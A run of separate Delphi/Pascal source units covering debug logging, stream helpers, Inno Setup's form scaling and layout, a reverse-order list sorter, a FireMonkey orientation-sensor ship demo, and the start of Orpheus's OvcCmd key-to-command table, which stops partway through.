unit AxlDebug; interface uses SysUtils; const DEBUGGING = {$ifndef _NODEBUG} true {$else} false {$endif}; ASSERTING = {$ifopt C+} true {$else} false {$endif}; type IDebugConsole = interface procedure WriteDebugStr(const which : string); end; var Console : IDebugConsole = nil; procedure LogThis(const msg : string); procedure WriteDebugStr(const which : string); // protected procedure DebugBreakPoint; implementation {$ifndef _NODEBUG} uses Windows; procedure WriteDebugStr(const which : string); begin OutputDebugString(pchar(which)); if IsConsole then writeln(which); if Console <> nil then Console.WriteDebugStr(which); end; procedure DebugBreakPoint; begin DebugBreak; end; procedure LogThis(const msg : string); begin WriteDebugStr(FormatDateTime('hh:nn:ss <', Time) + '>' + msg); end; (* // Debug Memory Manager type PDebugMemoryHeader = ^TDebugMemoryHeader; TDebugMemoryHeader = record Previous : PDebugMemoryHeader; Next : PDebugMemoryHeader; Size : integer; end; const Signature : array[0..7] of char = 'MeRcHiSe'; var gMemoryBlocks : integer = 0; gLastMemoryBlock : PDebugMemoryHeader = nil; function GetBlockSize(which : pointer) : integer; begin end; function CheckBlock(which : pointer) : boolean; begin assert(which <> nil); dec(which, sizeof(Signature)); if CompareSignature(pchar(which) - sizeof(Signature)) and CompareSignature(pchar() ) then begin end; function DebugGetMem(Size : integer) : pointer; var aux : pointer; begin inc(gMemoryBlocks); if Size > 0 then begin aux := SysGetMem(Size + sizeof(TDebugMemoryHeader) + 2*sizeof(Signature)); if aux <> nil then begin TDebugMemoryHeader(aux^).Next := nil; TDebugMemoryHeader(aux^).Previous := gLastMemoryBlock; TDebugMemoryHeader(aux^).Size := Size; gLastMemoryBlock := aux; inc(pchar(aux), sizeof(TDebugMemoryHeader)); move(Signature, aux^, sizeof(Signature)); inc(pchar(aux), sizeof(Signature)); move(Signature, (pchar(aux) + Size)^, sizeof(Signature)); end; Result := aux; end else Result := nil; end; function DebugFreeMem(p : pointer) : integer; begin CheckBlock(p); end; function DebugReallocMem(p : pointer; Size : integer) : pointer; begin end; procedure SetDebugMemoryManager; var Manager : TMemoryManager; begin assert(not IsMemoryManagerSet); Manager.GetMem := DebugGetMem; Manager.FreeMem := DebugFreeMem; Manager.ReallocMem := DebugReallocMem; SetMemoryManager(Manager); end; initialization SetDebugMemoryManager; *) {$else} procedure LogThis(const msg : string); begin end; procedure WriteDebugStr(const which : string); // protected begin end; procedure DebugBreakPoint; begin end; {$endif} end.
unit StreamUtils; interface uses Classes; // Calls StreamProc and destroys the stream. Ex: StreamObject( TFileStream.Create(...), LoadFromStream ); type TStreamProc = procedure ( Stream : TStream ) of object; procedure StreamObject( Stream : TStream; StreamProc : TStreamProc ); // TPointerStream: A stream from a memory pointer type TPointerStream = class( TCustomMemoryStream ) constructor Create( Data : pointer; aSize : integer ); function Write( const Buffer; Count : longint ) : longint; override; end; implementation procedure StreamObject( Stream : TStream; StreamProc : TStreamProc ); begin try StreamProc( Stream ); finally Stream.Free; end; end; procedure WriteStr( Stream : TStream; str : string ); var len : integer; begin len := length(str); Stream.Write( len, sizeof(len) ); Stream.Write( str[1], len ); end; function ReadStr( Stream : TStream ) : string; var len : integer; begin Stream.Read( len, sizeof(len) ); SetLength( result, len ); Stream.Read( result[1], len ); end; // TPointerStream constructor TPointerStream.Create( Data : pointer; aSize : integer ); begin inherited Create; SetPointer( Data, aSize ); end; function TPointerStream.Write( const Buffer; Count : longint ) : longint; var Pos : longint; begin Result := 0; if (Position >= 0) and (Count >= 0) then begin Pos := Position + Count; if Pos > 0 then begin assert( Pos <= Seek(0, 2), 'Writing beyond buffer limits in StreamUtils.TPointerStream.Write!!' ); System.Move( Buffer, pointer( longint( Memory ) + Position )^, Count ); Seek( Pos, soFromBeginning ); Result := Count; end; end; end; end.
unit SetupForm; { Inno Setup Copyright (C) 1997-2010 Jordan Russell Portions by Martijn Laan For conditions of distribution and use, see LICENSE.TXT. TSetupForm $jrsoftware: issrc/Projects/SetupForm.pas,v 1.16 2010/02/02 06:59:38 jr Exp $ } interface {$I VERSION.INC} uses Windows, SysUtils, Messages, Classes, Graphics, Controls, Forms, Dialogs, UIStateForm, MsgIDs; type TSetupForm = class(TUIStateForm) private FBaseUnitX, FBaseUnitY: Integer; FRightToLeft: Boolean; FFlipControlsOnShow: Boolean; FControlsFlipped: Boolean; procedure WMQueryEndSession(var Message: TWMQueryEndSession); message WM_QUERYENDSESSION; protected procedure CreateParams(var Params: TCreateParams); override; procedure CreateWnd; override; procedure VisibleChanging; override; procedure WndProc(var Message: TMessage); override; public constructor Create(AOwner: TComponent); override; {$IFNDEF IS_D4} constructor CreateNew(AOwner: TComponent); {$ELSE} constructor CreateNew(AOwner: TComponent; Dummy: Integer = 0); override; {$ENDIF} function CalculateButtonWidth(const ButtonCaptions: array of TSetupMessageID): Integer; procedure Center; procedure CenterInsideControl(const Ctl: TWinControl; const InsideClientArea: Boolean); procedure CenterInsideRect(const InsideRect: TRect); procedure FlipControlsIfNeeded; procedure InitializeFont; function ScalePixelsX(const N: Integer): Integer; function ScalePixelsY(const N: Integer): Integer; property BaseUnitX: Integer read FBaseUnitX; property BaseUnitY: Integer read FBaseUnitY; property ControlsFlipped: Boolean read FControlsFlipped; property FlipControlsOnShow: Boolean read FFlipControlsOnShow write FFlipControlsOnShow; property RightToLeft: Boolean read FRightToLeft; end; procedure CalculateBaseUnitsFromFont(const Font: TFont; var X, Y: Integer); function GetRectOfPrimaryMonitor(const WorkArea: Boolean): TRect; function SetFontNameSize(const AFont: TFont; const AName: String; const ASize: Integer; const AFallbackName: String; const AFallbackSize: Integer): Boolean; const OrigBaseUnitX = 6; OrigBaseUnitY = 13; implementation uses CmnFunc2, Main, Msgs, BidiUtils; var WM_QueryCancelAutoPlay: UINT; function GetRectOfPrimaryMonitor(const WorkArea: Boolean): TRect; begin if not WorkArea or not SystemParametersInfo(SPI_GETWORKAREA, 0, @Result, 0) then Result := Rect(0, 0, GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN)); end; function GetRectOfMonitorContainingRect(const R: TRect): TRect; { Returns bounding rectangle of monitor containing or nearest to R } type HMONITOR = type THandle; TMonitorInfo = record cbSize: DWORD; rcMonitor: TRect; rcWork: TRect; dwFlags: DWORD; end; const MONITOR_DEFAULTTONEAREST = $00000002; var Module: HMODULE; MonitorFromRect: function(const lprc: TRect; dwFlags: DWORD): HMONITOR; stdcall; GetMonitorInfo: function(hMonitor: HMONITOR; var lpmi: TMonitorInfo): BOOL; stdcall; M: HMONITOR; Info: TMonitorInfo; begin Module := GetModuleHandle(user32); MonitorFromRect := GetProcAddress(Module, 'MonitorFromRect'); GetMonitorInfo := GetProcAddress(Module, 'GetMonitorInfoA'); if Assigned(MonitorFromRect) and Assigned(GetMonitorInfo) then begin M := MonitorFromRect(R, MONITOR_DEFAULTTONEAREST); Info.cbSize := SizeOf(Info); if GetMonitorInfo(M, Info) then begin Result := Info.rcWork; Exit; end; end; Result := GetRectOfPrimaryMonitor(True); end; function SetFontNameSize(const AFont: TFont; const AName: String; const ASize: Integer; const AFallbackName: String; const AFallbackSize: Integer): Boolean; { Returns True if AName <> '' and it used AName as the font name, False otherwise. } function SizeToHeight(const S: Integer): Integer; begin Result := MulDiv(-S, Screen.PixelsPerInch, 72); end; begin Result := False; if AName <> '' then begin if FontExists(AName) then begin AFont.Name := AName; AFont.Height := SizeToHeight(ASize); Result := True; Exit; end; { Note: AFallbackName is not used if the user specified an empty string for AName because in that case they want the default font used always } if (AFallbackName <> '') and FontExists(AFallbackName) then begin AFont.Name := AFallbackName; AFont.Height := SizeToHeight(AFallbackSize); Exit; end; end; AFont.Name := GetPreferredUIFont; AFont.Height := SizeToHeight(AFallbackSize); end; procedure CalculateBaseUnitsFromFont(const Font: TFont; var X, Y: Integer); var DC: HDC; Size: TSize; TM: TTextMetric; begin DC := GetDC(0); try SelectObject(DC, Font.Handle); { Based on code from Q145994: } GetTextExtentPoint(DC, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 52, Size); X := (Size.cx div 26 + 1) div 2; GetTextMetrics(DC, TM); Y := TM.tmHeight; finally ReleaseDC(0, DC); end; end; procedure NewChangeScale(const Ctl: TControl; const XM, XD, YM, YD: Integer); var X, Y, W, H: Integer; begin X := MulDiv(Ctl.Left, XM, XD); Y := MulDiv(Ctl.Top, YM, YD); if not(csFixedWidth in Ctl.ControlStyle) then W := MulDiv(Ctl.Width, XM, XD) else W := Ctl.Width; if not(csFixedHeight in Ctl.ControlStyle) then H := MulDiv(Ctl.Height, YM, YD) else H := Ctl.Height; Ctl.SetBounds(X, Y, W, H); end; procedure NewScaleControls(const Ctl: TWinControl; const XM, XD, YM, YD: Integer); { This is like TControl.ScaleControls, except it allows the width and height to be scaled independently } var I: Integer; C: TControl; begin for I := 0 to Ctl.ControlCount-1 do begin C := Ctl.Controls[I]; if C is TWinControl then begin TWinControl(C).DisableAlign; try NewScaleControls(TWinControl(C), XM, XD, YM, YD); NewChangeScale(C, XM, XD, YM, YD); finally TWinControl(C).EnableAlign; end; end else NewChangeScale(C, XM, XD, YM, YD); end; end; function GetParentSetupForm(AControl: TControl): TSetupForm; begin { Note: Unlike GetParentForm, this checks all levels, not just the top } repeat if AControl is TSetupForm then begin Result := TSetupForm(AControl); Exit; end; AControl := AControl.Parent; until AControl = nil; Result := nil; end; function IsParentSetupFormFlipped(AControl: TControl): Boolean; var ParentForm: TSetupForm; begin ParentForm := GetParentSetupForm(AControl); if Assigned(ParentForm) then Result := ParentForm.ControlsFlipped else Result := False; end; function IsParentSetupFormRightToLeft(AControl: TControl): Boolean; var ParentForm: TSetupForm; begin ParentForm := GetParentSetupForm(AControl); if Assigned(ParentForm) then Result := ParentForm.RightToLeft else Result := False; end; { TSetupForm } constructor TSetupForm.Create(AOwner: TComponent); begin { Must initialize FRightToLeft here in addition to CreateNew because CreateNew isn't virtual on Delphi 2 and 3 } FRightToLeft := LangOptions.RightToLeft; FFlipControlsOnShow := FRightToLeft; inherited; { In Delphi 2005 and later, Position defaults to poDefaultPosOnly, but we don't want the form to be changing positions whenever its handle is recreated, so change it to the D7 and earlier default of poDesigned. } if Position = poDefaultPosOnly then Position := poDesigned; end; {$IFNDEF IS_D4} constructor TSetupForm.CreateNew(AOwner: TComponent); {$ELSE} constructor TSetupForm.CreateNew(AOwner: TComponent; Dummy: Integer = 0); {$ENDIF} begin { Note: On Delphi 2 and 3, CreateNew isn't virtual, so this is only reached when TSetupForm.CreateNew is called explicitly } FRightToLeft := LangOptions.RightToLeft; FFlipControlsOnShow := FRightToLeft; inherited; end; function TSetupForm.CalculateButtonWidth(const ButtonCaptions: array of TSetupMessageID): Integer; var DC: HDC; I, W: Integer; begin Result := ScalePixelsX(75); { Increase the button size if there are unusually long button captions } DC := GetDC(0); try SelectObject(DC, Font.Handle); for I := Low(ButtonCaptions) to High(ButtonCaptions) do begin W := GetTextWidth(DC, SetupMessages[ButtonCaptions[I]], True) + ScalePixelsX(20); if Result < W then Result := W; end; finally ReleaseDC(0, DC); end; end; procedure TSetupForm.CenterInsideControl(const Ctl: TWinControl; const InsideClientArea: Boolean); var R: TRect; begin if not InsideClientArea then begin if GetWindowRect(Ctl.Handle, R) then CenterInsideRect(R); end else begin R := Ctl.ClientRect; MapWindowPoints(Ctl.Handle, 0, R, 2); CenterInsideRect(R); end; end; procedure TSetupForm.CenterInsideRect(const InsideRect: TRect); var R, MR: TRect; begin R := Bounds(InsideRect.Left + ((InsideRect.Right - InsideRect.Left) - Width) div 2, InsideRect.Top + ((InsideRect.Bottom - InsideRect.Top) - Height) div 2, Width, Height); { Clip to nearest monitor } MR := GetRectOfMonitorContainingRect(R); if R.Right > MR.Right then OffsetRect(R, MR.Right - R.Right, 0); if R.Bottom > MR.Bottom then OffsetRect(R, 0, MR.Bottom - R.Bottom); if R.Left < MR.Left then OffsetRect(R, MR.Left - R.Left, 0); if R.Top < MR.Top then OffsetRect(R, 0, MR.Top - R.Top); BoundsRect := R; end; procedure TSetupForm.Center; begin CenterInsideRect(GetRectOfPrimaryMonitor(True)); end; procedure TSetupForm.CreateParams(var Params: TCreateParams); begin inherited; if FRightToLeft then Params.ExStyle := Params.ExStyle or (WS_EX_RTLREADING or WS_EX_LEFTSCROLLBAR or WS_EX_RIGHT); end; procedure TSetupForm.CreateWnd; begin inherited; if WM_QueryCancelAutoPlay <> 0 then AddToWindowMessageFilterEx(Handle, WM_QueryCancelAutoPlay); end; procedure TSetupForm.FlipControlsIfNeeded; begin if FFlipControlsOnShow then begin FFlipControlsOnShow := False; FControlsFlipped := not FControlsFlipped; FlipControls(Self); end; end; procedure TSetupForm.InitializeFont; var W, H: Integer; R: TRect; begin { Note: Must keep the following lines in synch with ScriptFunc_R's InitializeScaleBaseUnits } SetFontNameSize(Font, LangOptions.DialogFontName, LangOptions.DialogFontSize, '', 8); CalculateBaseUnitsFromFont(Font, FBaseUnitX, FBaseUnitY); if (FBaseUnitX <> OrigBaseUnitX) or (FBaseUnitY <> OrigBaseUnitY) then begin { Loosely based on scaling code from TForm.ReadState: } NewScaleControls(Self, BaseUnitX, OrigBaseUnitX, BaseUnitY, OrigBaseUnitY); R := ClientRect; W := MulDiv(R.Right, FBaseUnitX, OrigBaseUnitX); H := MulDiv(R.Bottom, FBaseUnitY, OrigBaseUnitY); SetBounds(Left, Top, W + (Width - R.Right), H + (Height - R.Bottom)); end; end; function TSetupForm.ScalePixelsX(const N: Integer): Integer; begin Result := MulDiv(N, BaseUnitX, OrigBaseUnitX); end; function TSetupForm.ScalePixelsY(const N: Integer): Integer; begin Result := MulDiv(N, BaseUnitY, OrigBaseUnitY); end; procedure TSetupForm.VisibleChanging; begin inherited; { Note: Unlike DoShow, any exceptions raised in VisibleChanging will be propagated out, which is what we want } if not Visible then FlipControlsIfNeeded; end; procedure TSetupForm.WMQueryEndSession(var Message: TWMQueryEndSession); begin { TDummyClass.AntiShutdownHook in Setup.dpr already denies shutdown attempts but we also need to catch WM_QUERYENDSESSION here to suppress the VCL's default handling which calls CloseQuery. We do not want to let TMainForm & TNewDiskForm display any 'Exit Setup?' message boxes since we're already denying shutdown attempts, and also we can't allow them to potentially be displayed on top of another dialog box that's already displayed. } { Return zero, except if RestartInitiatedByThisProcess is set (which means we called RestartComputer previously) } if RestartInitiatedByThisProcess then Message.Result := 1; end; procedure TSetupForm.WndProc(var Message: TMessage); begin { When we receive a 'QueryCancelAutoPlay' message as a result of a new CD being inserted, return 1 to prevent it from being 'autoplayed'. Note: According to the docs, this message is only sent on Shell version 4.70 and later. } if (WM_QueryCancelAutoPlay <> 0) and (Message.Msg = WM_QueryCancelAutoPlay) then Message.Result := 1 else inherited; end; initialization BidiUtils.IsParentFlippedFunc := IsParentSetupFormFlipped; BidiUtils.IsParentRightToLeftFunc := IsParentSetupFormRightToLeft; WM_QueryCancelAutoPlay := RegisterWindowMessage('QueryCancelAutoPlay'); end.
unit l3LongintListReverseSorter; {* Пример списка, который сортирует исходный список в обратном порядке } // Модуль: "w:\common\components\rtl\Garant\L3\l3LongintListReverseSorter.pas" // Стереотип: "SimpleClass" // Элемент модели: "Tl3LongintListReverseSorter" MUID: (4DEFC02E01CF) {$Include w:\common\components\rtl\Garant\L3\l3Define.inc} interface uses l3IntfUses , l3CustomLongintListView , l3PureMixIns ; type Tl3LongintListReverseSorter = class(Tl3CustomLongintListView) {* Пример списка, который сортирует исходный список в обратном порядке } protected function CompareData(const anItem1: _ItemType_; const anItem2: _ItemType_): Integer; override; end;//Tl3LongintListReverseSorter implementation uses l3ImplUses //#UC START# *4DEFC02E01CFimpl_uses* //#UC END# *4DEFC02E01CFimpl_uses* ; function Tl3LongintListReverseSorter.CompareData(const anItem1: _ItemType_; const anItem2: _ItemType_): Integer; //#UC START# *4DEFB2D90167_4DEFC02E01CF_var* //#UC END# *4DEFB2D90167_4DEFC02E01CF_var* begin //#UC START# *4DEFB2D90167_4DEFC02E01CF_impl* Result := (anItem2 - anItem1); //#UC END# *4DEFB2D90167_4DEFC02E01CF_impl* end;//Tl3LongintListReverseSorter.CompareData end.
unit uMain; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, System.IniFiles, System.Messaging, System.IOUtils, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.Objects, FMX.Layouts, System.Math, FMX.StdCtrls, FMX.Ani, FMX.Media, FMX.Platform, FMX.Filter.Effects, FMX.Effects, System.Sensors, System.Sensors.Components, FMX.ListBox; type TOrientationSensorForm = class(TForm) OrientationSensor1: TOrientationSensor; swOrientationSensorActive: TSwitch; ToolBar1: TToolBar; Label1: TLabel; ListBox1: TListBox; lbOrientationSensor: TListBoxItem; lbTiltX: TListBoxItem; lbTiltY: TListBoxItem; lbTiltZ: TListBoxItem; lbHeadingX: TListBoxItem; lbHeadingY: TListBoxItem; lbHeadingZ: TListBoxItem; Layout1: TLayout; TiltButton: TSpeedButton; HeadingButton: TSpeedButton; Timer1: TTimer; Ship: TRectangle; Thruster: TRectangle; GlowEffect1: TGlowEffect; Button1: TButton; Layout2: TLayout; procedure swOrientationSensorActiveSwitch(Sender: TObject); procedure OrientationSensor1SensorChoosing(Sender: TObject; const Sensors: TSensorArray; var ChoseSensorIndex: Integer); procedure TiltButtonClick(Sender: TObject); procedure HeadingButtonClick(Sender: TObject); procedure FormActivate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } DefaultX,DefaultY,DefaultZ: Single; PlayerDataVerticalVelocity, PlayerDataHorizontalVelocity: Single; ScreenOrientation: TScreenOrientation; OrientationChangedId: Integer; procedure OrientationChanged(const Sender: TObject; const Msg: TMessage); function GetScreenOrientation: TScreenOrientation; public { Public declarations } end; var OrientationSensorForm: TOrientationSensorForm; implementation {$R *.fmx} procedure TOrientationSensorForm.OrientationSensor1SensorChoosing( Sender: TObject; const Sensors: TSensorArray; var ChoseSensorIndex: Integer); var I: Integer; Found: Integer; begin Found := -1; for I := 0 to High(Sensors) do begin if TiltButton.IsPressed and (TCustomOrientationSensor.TProperty.TiltX in TCustomOrientationSensor(Sensors[I]).AvailableProperties) then begin Found := I; Break; end else if HeadingButton.IsPressed and (TCustomOrientationSensor.TProperty.HeadingX in TCustomOrientationSensor(Sensors[I]).AvailableProperties) then begin Found := I; Break; end; end; if Found < 0 then begin Found := 0; TiltButton.IsPressed := True; HeadingButton.IsPressed := False; ShowMessage('Compass not available'); end; ChoseSensorIndex := Found; end; procedure TOrientationSensorForm.TiltButtonClick(Sender: TObject); begin OrientationSensor1.Active := False; HeadingButton.IsPressed := False; TiltButton.IsPressed := True; OrientationSensor1.Active := swOrientationSensorActive.IsChecked; end; procedure TOrientationSensorForm.Timer1Timer(Sender: TObject); var ShipAngle: Single; HeadingValue,DefaultValue: Single; ScreenOrienation: TScreenOrientation; Thrust: Single; begin { get the data from the sensor } lbTiltX.Text := Format('Tilt X: %f', [OrientationSensor1.Sensor.TiltX]); lbTiltY.Text := Format('Tilt Y: %f', [OrientationSensor1.Sensor.TiltY]); lbTiltZ.Text := Format('Tilt Z: %f', [OrientationSensor1.Sensor.TiltZ]); lbHeadingX.Text := Format('Heading X: %f', [OrientationSensor1.Sensor.HeadingX]); lbHeadingY.Text := Format('Heading Y: %f', [OrientationSensor1.Sensor.HeadingY]); lbHeadingZ.Text := Format('Heading Z: %f', [OrientationSensor1.Sensor.HeadingZ]); if DefaultX=0 then DefaultX := OrientationSensor1.Sensor.HeadingX; if DefaultY=0 then DefaultY := OrientationSensor1.Sensor.HeadingY; if DefaultZ=0 then DefaultZ := OrientationSensor1.Sensor.HeadingZ; ScreenOrienation := GetScreenOrientation; if (ScreenOrientation=TScreenOrientation.Landscape) OR (ScreenOrientation=TScreenOrientation.InvertedLandscape) then begin HeadingValue := OrientationSensor1.Sensor.HeadingX; DefaultValue := DefaultX; end else begin HeadingValue := OrientationSensor1.Sensor.HeadingY; DefaultValue := DefaultY; end; if (HeadingValue+10)>DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle + 15; end else if (HeadingValue+5)>DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle + 5; end else if (HeadingValue+1)>DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle + 1; end; if (HeadingValue-10)<DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle - 15; end else if (HeadingValue-5)<DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle - 5; end else if (HeadingValue-1)<DefaultValue then begin Ship.RotationAngle := Ship.RotationAngle - 1; end; // if (OrientationSensor1.Sensor.HeadingZ+20)>DefaultZ then begin Thrust := 15*0.01; end else if (OrientationSensor1.Sensor.HeadingZ+10)>DefaultZ then begin Thrust := 5*0.01; end else if (OrientationSensor1.Sensor.HeadingZ+5)>DefaultZ then begin Thrust := 1*0.01; end; { if (OrientationSensor1.Sensor.HeadingZ-20)<DefaultZ then begin Thrust := -15*0.01; end else if (OrientationSensor1.Sensor.HeadingZ-10)<DefaultZ then begin Thrust := -5*0.01; end else if (OrientationSensor1.Sensor.HeadingZ-5)<DefaultZ then begin Thrust := -1*0.01; end; } PlayerDataVerticalVelocity := PlayerDataVerticalVelocity - Thrust; PlayerDataHorizontalVelocity := PlayerDataHorizontalVelocity + Thrust; //PlayerDataVerticalVelocity := PlayerDataVerticalVelocity + 0.1; // PlayerDataHorizontalVelocity := Max(0, PlayerDataHorizontalVelocity - 0.1); ShipAngle := (Ship.RotationAngle) * (PI / 180); Ship.Position.X := Ship.Position.X + PlayerDataHorizontalVelocity * Sin(ShipAngle); Ship.Position.Y := Ship.Position.Y + PlayerDataVerticalVelocity; end; procedure TOrientationSensorForm.Button1Click(Sender: TObject); begin ship.Position.X := Layout2.Width/2; ship.Position.Y := Layout2.Height/2; DefaultX := 0; DefaultY := 0; DefaultZ := 0; PlayerDataVerticalVelocity := 0; PlayerDataHorizontalVelocity := 0; Ship.RotationAngle := 0; end; procedure TOrientationSensorForm.FormActivate(Sender: TObject); begin {$ifdef IOS} {$ifndef CPUARM} lbOrientationSensor.Text := 'Simulator - no sensors'; swOrientationSensorActive.Enabled := False; {$endif} {$endif} end; procedure TOrientationSensorForm.HeadingButtonClick(Sender: TObject); begin OrientationSensor1.Active := False; TiltButton.IsPressed := False; HeadingButton.IsPressed := True; OrientationSensor1.Active := swOrientationSensorActive.IsChecked; end; procedure TOrientationSensorForm.swOrientationSensorActiveSwitch( Sender: TObject); begin { activate or deactivate the orientation sensor } OrientationSensor1.Active := swOrientationSensorActive.IsChecked; Timer1.Enabled := swOrientationSensorActive.IsChecked; DefaultX := 0; DefaultY := 0; DefaultZ := 0; end; procedure TOrientationSensorForm.OrientationChanged(const Sender: TObject; const Msg: TMessage); var NewScreenOrientation: TScreenOrientation; begin NewScreenOrientation := GetScreenOrientation; if (NewScreenOrientation=TScreenOrientation.Portrait) AND (ScreenOrientation=TScreenOrientation.LandScape) then begin end else if (NewScreenOrientation=TScreenOrientation.LandScape) AND (ScreenOrientation=TScreenOrientation.Portrait) then begin end; end; procedure TOrientationSensorForm.FormCreate(Sender: TObject); begin ScreenOrientation := GetScreenOrientation; OrientationChangedId := TMessageManager.DefaultManager.SubscribeToMessage(TOrientationChangedMessage, OrientationChanged); end; function TOrientationSensorForm.GetScreenOrientation: TScreenOrientation; begin Result := IFMXScreenService(TPlatformServices.Current.GetPlatformService(IFMXScreenService)).GetScreenOrientation; end; end.
unit OvcCmd; {* Translates messages into commands. } {*********************************************************} {* OVCCMD.PAS 2.17 *} {* Copyright (c) 1995-98 TurboPower Software Co *} {* All rights reserved. *} {*********************************************************} { $Id: Ovccmd.pas,v 1.42 2014/11/25 08:39:54 morozov Exp $ } // $Log: Ovccmd.pas,v $ // Revision 1.42 2014/11/25 08:39:54 morozov // {RequestLink: 565477492} // // Revision 1.41 2014/07/01 05:49:30 morozov // {RequestLink: 340174500} // // Revision 1.40 2014/02/17 16:26:07 lulin // - избавляемся от ошибок молодости. // // Revision 1.39 2013/04/04 11:34:26 lulin // - портируем. // // Revision 1.38 2008/02/12 12:53:13 lulin // - избавляемся от излишнего метода на базовом классе. // // Revision 1.37 2007/11/01 07:39:22 mmorozov // - new: новая ovc-команда ccTreeCollapse (в рамках работы над CQ: OIT5-27189); // // Revision 1.36 2006/07/04 10:51:20 oman // - fix: Если контрол публикует операцию, то он должен перестать // обрабатывать соответствующую команду. // // Revision 1.35 2006/06/08 13:38:12 lulin // - подготавливаем контролы к обработке числа повторений нажатия клавиши. // // Revision 1.34 2005/09/20 14:27:17 voba // - add новая команда ccTreeAllExpand открыть все ветки (Ctrl +) // // Revision 1.33 2005/02/21 11:41:26 fireton // - bug fix: не компилялся allArchiComponents7 // // Revision 1.32 2005/01/28 12:52:05 voba // -new beh. : DoOnUserCommand теперь function // // Revision 1.31 2005/01/17 09:50:01 lulin // - добавлены директивы CVS. // {$I OVC.INC} {$B-} {Complete Boolean Evaluation} {$I+} {Input/Output-Checking} {$P+} {Open Parameters} {$T-} {Typed @ Operator} {$W-} {Windows Stack Frame} {$X+} {Extended Syntax} {$IFNDEF Win32} {$G+} {286 Instructions} {$N+} {Numeric Coprocessor} {$C MOVEABLE,DEMANDLOAD,DISCARDABLE} {$ENDIF} interface uses {$IFDEF Win32} Windows, {$ELSE} WinTypes, WinProcs, {$ENDIF} Classes, Forms, Menus, Messages, SysUtils, OvcConst, OvcData, OvcExcpt, OvcMisc, OvcKeyDataListenerList, l3Types, l3InternalInterfaces, l3Base, l3ProtoPersistent ; ResourceString scUnknownTable = '(Unknown)'; scDefaultTableName = 'Default'; scWordStarTableName = 'WordStar'; scListTableName = 'List'; scGridTableName = 'Grid'; const {$IfDef Nemesis} ovcTextEditorCommands : array [0..0] of AnsiString = (scDefaultTableName); {$Else Nemesis} ovcTextEditorCommands : array [0..1] of AnsiString = (scDefaultTableName, scWordStarTableName); {$EndIf Nemesis} ovcListCommands : array [0..1] of AnsiString = (scListTableName, scDefaultTableName); {default primary command/key table} DefMaxCommands = 66; DefCommandTable : array[0..DefMaxCommands-1] of TOvcCmdRec = ( {Key #1 Shift state #1 Key #2 Shift state #2 Command} (Key1:VK_LEFT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccLeft), (Key1:VK_RIGHT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccRight), (Key1:VK_LEFT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccWordLeft), (Key1:VK_RIGHT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccWordRight), (Key1:VK_HOME; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccHome), (Key1:VK_END; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccEnd), (Key1:VK_DELETE; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDel), (Key1:VK_BACK; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccBack), (Key1:VK_BACK; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccBack), (Key1:VK_PRIOR; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccTopOfPage), (Key1:VK_NEXT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccBotOfPage), (Key1:VK_INSERT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccIns), (Key1:VK_Z; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccUndo), (Key1:VK_BACK; SS1:ss_Alt; Key2:VK_NONE; SS2:ss_None; Cmd:ccRestore), (Key1:VK_UP; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccUp), (Key1:VK_DOWN; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDown), (Key1:VK_RETURN; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccNewLine), (Key1:VK_LEFT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendLeft), (Key1:VK_RIGHT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendRight), (Key1:VK_HOME; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendHome), (Key1:VK_END; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendEnd), (Key1:VK_LEFT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtWordLeft), (Key1:VK_RIGHT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtWordRight), (Key1:VK_PRIOR; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgUp), (Key1:VK_NEXT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgDn), (Key1:VK_UP; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendUp), (Key1:VK_DOWN; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendDown), (Key1:VK_HOME; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtFirstPage), (Key1:VK_END; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtLastPage), (Key1:VK_PRIOR; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtTopOfPage), (Key1:VK_NEXT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtBotOfPage), (Key1:VK_DELETE; 